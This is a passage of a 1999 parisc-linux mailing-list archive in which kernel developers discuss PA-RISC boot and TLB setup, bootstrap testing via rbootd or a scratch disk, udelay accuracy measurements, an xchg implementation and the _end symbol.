From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting on PA2.0 machines
Date: Fri, 29 Oct 1999 00:57:54 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910290054070.3734-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618593 27350 80.91.229.3 (22 Nov 2014 01:09:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Thu Oct 28 22:50:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA29524
	for <parisc-linux@puffin.external.hp.com>; Thu, 28 Oct 1999 22:50:51 -0600
Original-Received: (qmail 29238 invoked by uid 15267); 29 Oct 1999 04:51:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29229 invoked from network); 29 Oct 1999 04:51:54 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 29 Oct 1999 04:51:54 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id AAA03780
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Oct 1999 00:57:54 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:6282


So I think we've determined that PA2.0 booting problems are related to the
PDC_BTLB call which isn't implemented in 2.0 processors.  

My thought would be to try such a call, and if it fails, then configure
cache lines in a way specific to 2.0 processors.  Am I right?

How should we be configuring this?

We've now got some puffins and HP people with 2.0 boxes, so it'd be really
nice to get these boxes booting.

- Alex

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group



From - Thu Nov 08 21:11:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting on PA2.0 machines
Date: Fri, 29 Oct 1999 10:36:24 -0700
Lines: 212
Approved: news@gmane.org
Message-ID: <3819DB18.AC3F55CC@hp.com>
References: <Pine.LNX.4.10.9910290054070.3734-100000@vodka.thepuffingroup.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618593 27353 80.91.229.3 (22 Nov 2014 01:09:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: frank_rowand@hp.com  Fri Oct 29 11:37:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA31707
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Oct 1999 11:37:08 -0600
Original-Received: (qmail 5022 invoked by uid 15267); 29 Oct 1999 17:38:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5009 invoked from network); 29 Oct 1999 17:38:16 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 29 Oct 1999 17:38:16 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel1.hp.com (Postfix) with ESMTP
	id 167FA11B2; Fri, 29 Oct 1999 10:36:52 -0700 (PDT)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id KAA17653; Fri, 29 Oct 1999 10:36:25 -0700 (PDT)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6283

Alex deVries wrote:
> 
> So I think we've determined that PA2.0 booting problems are related to the
> PDC_BTLB call which isn't implemented in 2.0 processors.
> 
> My thought would be to try such a call, and if it fails, then configure
> cache lines in a way specific to 2.0 processors.  Am I right?

If the system is a PA 1.1 system then PDC_BLOCK_TLB() should be used.
(PDC_MODEL(Return info), arch_rev reports 1.0, 1.1, or 2.0.)  If the
system is a PA 2.0 system then large pages should be specified in the
TLB entries.

> How should we be configuring this?

Just wait for a TLB miss and insert an entry for a very large number of pages
(architected sizes include 4, 16, 64, 256 Kbyte, 1, 4, 16, 64 Mbyte).  See
the PA-RISC 2.0 Architecture book by Kane, pp. 3-9 thru 3-14, F-1 thru F-5.

Just as a side note, you can't just insert a block TLB entry and expect it to
exist forever; you have to be able to handle a TLB fault for the address
range and re-insert the entry (or switch to normal entries).  See the last
page of the PDC_BLOCK_TLB() description for the explanation of this.

> We've now got some puffins and HP people with 2.0 boxes, so it'd be really
> nice to get these boxes booting.
> 
> - Alex

You've just hit the first layer of the onion.

-Frank

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar  3 08:12:06 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id IAA01242
	for <pcj@merlin.pcj.primenet.com>; Wed, 3 Mar 1999 08:12:05 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 03 Mar 1999 08:12:05 PST
Received: from smtp02.primenet.com (daemon@smtp02.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id CAA29727
	for <pcj@smtp-local.primenet.com>; Wed, 3 Mar 1999 02:52:06 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id CAA08655
	for <pcj@primenet.com>; Wed, 3 Mar 1999 02:53:08 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd008646; Wed Mar  3 02:53:06 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id EAA14727;
	Wed, 3 Mar 1999 04:21:38 -0500
Resent-Date: Wed, 3 Mar 1999 04:21:38 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-Id: <199903030920.KAA29596@be3334.schering.de>
From: "Strelow, Ulrich" <Ulrich.Strelow@Schering.DE>
To: ",'hppa-linux@thepuffingroup.com' " <hppa-linux@thepuffingroup.com>,
        ",Mandachi, Dorin \(Omaha\) " <Dorin.Mandachi@cox.com>
Subject: Betr.: RE: [hppa-linux] Another bootstrap test
Date: Wed, 3 Mar 1999 10:18:00 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: multipart/mixed;
	boundary="---- =_NextPart_000_01BE6557.1254A0AE"
Resent-Message-ID: <"z0n_A3.0.1c3.XyFts"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/136
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: cac8a465a84ceb6a2b5f36400b6ec418
Lines: 135
Xref: merlin.pcj.primenet.com palinux:107

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------ =_NextPart_000_01BE6557.1254A0AE
Content-Type: text/plain

     Hello Dorin,
     
     sorry for the late answer. You have two possiblities to test the 
     bootstrap program on your 712/100:
     
     1. If you have a second disk on that machine, you can follow 
     Jason's original instructions. I have attached them to this mail 
     in case you have not been on the mailing list at that time.
     
     2. The easiest way is to use rbootd. For this test you need a 
     linux-x86 machine connect to the 712/100 via LAN: 
     
     Download rbootd from 
     ftp://sod.res.cmu.edu/pub/parisc/tools/RPMS/rbootd-2.0-2.i386.rpm
     and install with rpm -i rbootd-2.0-2.i386.rpm.
     
     Create directory /export/hp/rbootd/ and copy BOOTSTRA.BIN to this 
     directory as vmlinux.
     
     Edit /etc/rbootd.conf and insert the MAC-address of the ethernet 
     card of your 712/100 in this file. In case you don't know that, 
     you can use HP-UX's landiag(1M).
     
     Start rbootd on the linux-x86 machine.
     
     Reboot the 712/100, stop the automatic boot process, and let the 
     machine search for potential boot devices. You should get at 
     least two possibilities: your hp-ux disk and the lan-boot linux 
     machine. Select the lan-boot machine and the bootstrap test 
     should be loading.
     
     Greetings
     Ulrich
     ---------------------------------------------
     Ulrich Strelow
     <ulrich.strelow@schering.de or
     ulrich_strelow@csi.com>
     Berlin, Germany
     
     
     ____________________________ Antwort-Abtrennung 
     _______________________________
     Betreff: RE: [hppa-linux] Another bootstrap test
Autor:  ,Mandachi, Dorin (Omaha) [SMTP:Dorin.Mandachi@cox.com] bei
BE2183
Datum:    01.03.99 22:26


I apologize for my ignorance, can sbdy give me a few pointers on what I
need 
to do to load the bootstrap on a 712/100 with no floppy?
     
Dorin Mandachi
     
     
     


------ =_NextPart_000_01BE6557.1254A0AE
Content-Type: text/plain;
	name="bootstra.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="bootstra.txt"

Autor:  ,Jason Eckhardt [SMTP:jason@equator.com] bei BE2183
Datum:    18.02.99  00:09
Priorit=E4t: Standard
Blindkopie: Ulrich Strelow bei BE0103_1
An: ,hppa-linux@puffingroup.com [SMTP:hppa-linux@puffingroup.com] bei =
BE2183
An: ,jason@equator.com [SMTP:jason@equator.com] bei BE2183
Betreff: [hppa-linux] bootstrap test
------------------------------- Nachrichteninhalt =
------------------------------
Greetings HPPA hacks:
I have enclosed a simple bootstrap test binary for HPPA/Linux. At this =
point,=20
it is not much more than a "hello world" type program but shows that we
can get a bootstrap going.
I would be grateful if one or two of you would test it on your systems. =
I have=20
tested it on my C160 which is a PA2.0-based system and would like to =
make
sure it works correctly on PA1.1 systems before doing more work.
    =20
Instructions:
1. uudecode the enclosed "bootstrap.bin" binary.
2. Write bootstrap.bin to a unused harddisk in raw mode (at the =
beginning
   of the media). On my HPUX system, I use
   "dd if=3Dbootstrap.bin of=3D/dev/rdsk/c0t5d0" to write the boot =
image to=20
   my scratch disk. (You might also be able to burn a CDROM instead, =
but=20
   I haven't tried it).
   Be careful and make sure this is a scratch drive -- or at least =
backup=20
   the sectors that will be overwritten (about 40Kbytes) and restore =
them=20
   later!
3. Reboot the system. Stop the autoboot and ask the ROM to boot from
   the scratch disk (I just set this disk up as the "alternate boot =
path"=20
   and then use "bo alt" at the boot prompt).
4. Hopefully you will then see a message "HPPA/Linux Bootstrap" which =
means
   it worked. There will also be a line printed "CPU x: (yyyyyyyy)". =
This=20
   is your CPUID.
    =20
Your feedback would be appreciated, i.e. did it work or not on your =
system.=20
Please send the CPU line as well.
    =20
Thanks very much for your time, Jason.
    =20
    =20
    =20
----------------------------------------------------------------------=20
To unsubscribe: send e-mail to hppa-linux-request@puffingroup.com with=20
`unsubscribe' as the subject.

------ =_NextPart_000_01BE6557.1254A0AE--

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] udelay accuracy
Date: Fri, 29 Oct 1999 17:56:40 -0700 (PDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <199910300056.RAA07975@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618593 27357 80.91.229.3 (22 Nov 2014 01:09:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Oct 29 18:54:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA00987
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Oct 1999 18:54:59 -0600
Original-Received: (qmail 24709 invoked by uid 15267); 30 Oct 1999 00:56:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24702 invoked from network); 30 Oct 1999 00:56:08 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 30 Oct 1999 00:56:08 -0000
Original-Received: from milano.cup.hp.com (grundler@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.9.3 (PHNE_18979)/8.8.5tis) with ESMTP id UAA18327
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Oct 1999 20:55:19 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id RAA07975 for parisc-linux@thepuffingroup.com; Fri, 29 Oct 1999 17:56:40 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:6284

FYA,
Here's some data on the accuracy of udelay().
Test was read cr16, udelay(x), read cr16, print cr16 delta.
I collected this from my A180.
Numbers on the right of the ":" is the cr16 delta.

udelay test 10 :  2023 1896 1896 1896 1896 1896 1896 1896 1896 1896
udelay test 20 :  3731 3681 3681 3681 3681 3681 3681 3681 3681 3681
udelay test 30 :  5507 5472 5472 5472 5472 5472 5472 5472 5472 5472
udelay test 100 :  18028 17967 17967 17967 17967 17967 17967 17967 17967 17967
udelay test 200 :  35885 35815 35815 35815 35815 35815 35815 35815 35815 35815
udelay test 300 :  53665 53665 53665 53665 53665 53665 53665 53665 53665 53665
udelay test 1000 :  178615 178615 178615 178615 178615 178615 178615 178615 178615 178615
udelay test 2000 :  357115 357115 357115 357115 357115 357115 357115 357115 357115 357115
udelay test 3000 :  535615 538451 535615 535615 535615 535615 535615 535615 535615 535615

Expected output for "180Mhz" machine:
	udelay(10) 1800
	udelay(20) 3600
	...
	udelay(3000) 540000

The difference between the first invocation and successive might be a problem.
I don't know what the expected accuracy is.
If +- 10% is ok, we are there.

grant

ps. thanks to ftr for helping figure out the expected values.
    page zero (0x38c) contains the number of cycles per 10ms
    for every box. This can be accessed from the A180
    service menu: "mr 0x38c 2"


From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] udelay accuracy
Date: Sat, 30 Oct 1999 02:07:42 +0100 (BST)
Lines: 9
Approved: news@gmane.org
Message-ID: <E11hMzg-0007qN-00@the-village.bc.nu>
References: <199910300056.RAA07975@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618594 27358 80.91.229.3 (22 Nov 2014 01:09:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Fri Oct 29 19:19:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA01231
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Oct 1999 19:19:23 -0600
Original-Received: (qmail 30173 invoked by uid 15267); 30 Oct 1999 01:20:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30166 invoked from network); 30 Oct 1999 01:20:31 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 30 Oct 1999 01:20:31 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11hMzg-0007qN-00; Sat, 30 Oct 1999 02:07:44 +0100
In-Reply-To: <199910300056.RAA07975@milano.cup.hp.com> from "Grant Grundler" at Oct 29, 99 05:56:40 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6285

> 	udelay(3000) 540000
> 
> The difference between the first invocation and successive might be a problem.
> I don't know what the expected accuracy is.
> If +- 10% is ok, we are there.

Its generally good enough. Certainly on PC type hardware which is sloppy anyway
If its ever an issue just bump the estimate by 10% on all udelays to be sure 8)


From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xchg implementation
Date: Sun, 31 Oct 1999 19:37:39 +0100
Lines: 106
Approved: news@gmane.org
Message-ID: <19991031193739.V516@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618594 27362 80.91.229.3 (22 Nov 2014 01:09:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sun Oct 31 11:36:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA07217
	for <parisc-linux@puffin.external.hp.com>; Sun, 31 Oct 1999 11:36:22 -0700
Original-Received: (qmail 2885 invoked by uid 15267); 31 Oct 1999 18:37:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2877 invoked from network); 31 Oct 1999 18:37:34 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 31 Oct 1999 18:37:34 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id TAA06732
	for <parisc-linux@thepuffingroup.com>; Sun, 31 Oct 1999 19:37:29 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id TAA276551
	for <parisc-linux@thepuffingroup.com>; Sun, 31 Oct 1999 19:37:25 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11hzrI-00028LC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sun, 31 Oct 1999 19:37:40 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:6286


As you can read below, I've been thinking about the implementation
of xchg again.  For those who are unfamiliar with this, it is used to
atomically swap the contents of a register with a location in memory.
It is defined to be atomic wrt other CPUs and interrupts on the same CPU.
PA-RISC's only atomic operation is load-and-zero.  A large proportion
of the cases where xchg is used, it is with zero, and we can use the
load-and-zero instruction.

This is a uniprocessor optimisation of the xchg() case where it's _not_
exchanging with zero.  What I need is a spare CR register.  As far as I
can see from the comments, CR28-30 are currently reserved; leaving CRs
24, 25 and 31 available.  Unless someone's using one of them without
documenting it somewhere...?  That really does need to be written down
somewhere.

----- Forwarded message from Matthew Wilcox <Matthew.Wilcox@genedata.com> -----

Date: Sun, 31 Oct 1999 19:02:34 +0100
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
To: Ralf Baechle <ralf@uni-koblenz.de>
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        Keith Owens <kaos@ocs.com.au>, linux-kernel@vger.rutgers.edu
Subject: Re: FD array expansion problem
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19991031010842.H15510@uni-koblenz.de>; from Ralf Baechle on Sun, Oct 31, 1999 at 01:08:42AM +0200

On Sun, Oct 31, 1999 at 01:08:42AM +0200, Ralf Baechle wrote:
> On Sat, Oct 30, 1999 at 03:42:17PM +0200, Matthew Wilcox wrote:
> 
> > We don't have ll/sc instructions or compare-and-swap on pa-risc.
> > I'd really like to be able to do this without disabling interrupts,
> > but I don't think there's a way.
> 
> Actually there is a neat way for uniprocessor MIPSes to implement this.
> The two registers k0 and k1 are reserved for use of the kernel, for example
> in interrupt processing.  All exception handles will destroy the content
> of these registers and set it to a value != NULL which allows to implement
> an atomic increment for uniprocessors like:
> 
> 	move	k0, zero
> 1:	lw	old, addr
> 	sw	new, addr
> 	bnez	k0, 1b
> 
> Dunno if that'd hold for HPPA as well.

I don't think that works.  Look:

main code	interrupt
set k0 to zero
load A from addr
store B at addr
		set k0 to zero
		load B from addr
		store C at addr
		return (i assume this makes k0 non-zero)
k0 is non-zero, so loop again
load C from addr
store B at addr

And you've lost the original A.  I came up with a similar scheme while
taking a long walk today (many people seem to prefer the shower for their
good ideas.  I find Japanese stroll gardens are ideal, and a nice long
walk is almost as good.)

The idea is to flag whether we're in the middle of an xchg operation in
a register such as k0, then have the interrupt handler's exit routine fix
it up:

move k0, one
lw A, addr
sw B. addr
move k0, zero

would then be the typical non-interrupted case.

The modified interrupt code looks like:

int xchging = (k0 == 1);

... normal irq code ...

if (!xchging)
	return;
if (instruction we will return to is a store)
	return to addr - 4;
return;

This should work, and have a minimal cost per interrupt.
Now to find out whether we have a suitable register on PA-RISC..

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson

----- End forwarded message -----

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xchg implementation
Date: Mon, 01 Nov 1999 14:03:05 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <19991101210305.75FA118708@security.hp.com>
References: <19991031193739.V516@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618594 27367 80.91.229.3 (22 Nov 2014 01:09:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, lamont@security.hp.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: lamont@security.hp.com  Mon Nov  1 14:02:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA10875
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Nov 1999 14:02:01 -0700
Original-Received: (qmail 19084 invoked by uid 15267); 1 Nov 1999 21:03:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19077 invoked from network); 1 Nov 1999 21:03:15 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Nov 1999 21:03:15 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA10948
	for <parisc-linux@thepuffingroup.com>; Mon, 1 Nov 1999 13:03:07 -0800 (PST)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id 75FA118708; Mon,  1 Nov 1999 14:03:05 -0700 (MST)
In-reply-to: Your message of "Sun, 31 Oct 1999 19:37:39 +0100."
             <19991031193739.V516@mencheca.ch.genedata.com> 
Content-ID: <14062.941490185.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6287

> This is a uniprocessor optimisation of the xchg() case where it's _not_
> exchanging with zero.  What I need is a spare CR register.  As far as I
> can see from the comments, CR28-30 are currently reserved; leaving CRs
> 24, 25 and 31 available.  Unless someone's using one of them without
> documenting it somewhere...?  That really does need to be written down
> somewhere.

IIRC, CR24 and 25 are readable from user space (not writable), and can be
quite useful for thread specific data, thread id, etc...  It might do to
leave them available for such a use.

lamont


From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] _end symbol in parisc linux?
Date: Mon, 01 Nov 1999 17:39:51 -0700
Lines: 6
Approved: news@gmane.org
Message-ID: <199911020039.RAA11767@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618595 27368 80.91.229.3 (22 Nov 2014 01:09:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Mon Nov  1 17:38:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA11613
	for <parisc-linux@puffin.external.hp.com>; Mon, 1 Nov 1999 17:38:43 -0700
Original-Received: (qmail 28358 invoked by uid 15267); 2 Nov 1999 00:39:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28350 invoked from network); 2 Nov 1999 00:39:56 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 2 Nov 1999 00:39:56 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id RAA24964
	for <parisc-linux@thepuffingroup.com>; Mon, 1 Nov 1999 17:39:52 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id RAA16565 for <parisc-linux@thepuffingroup.com>; Mon, 1 Nov 1999 17:39:51 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id RAA11767
	for <parisc-linux@thepuffingroup.com>; Mon, 1 Nov 1999 17:39:51 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6288


Anybody know how to get PA-Linux to have an _end symbol like
most other programs, including Intel Linux?

	-Paul Bame


From - Thu Nov 08 21:11:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xchg implementation
Date: Tue, 2 Nov 1999 09:53:40 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <19991102095340.D516@mencheca.ch.genedata.com>
References: <19991031193739.V516@mencheca.ch.genedata.com> <19991101210305.75FA118708@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618595 27369 80.91.229.3 (22 Nov 2014 01:09:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:55 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: LaMont Jones <lamont@security.hp.com>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Nov  2 01:52:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA13051
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Nov 1999 01:52:05 -0700
Original-Received: (qmail 26308 invoked by uid 15267); 2 Nov 1999 08:53:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
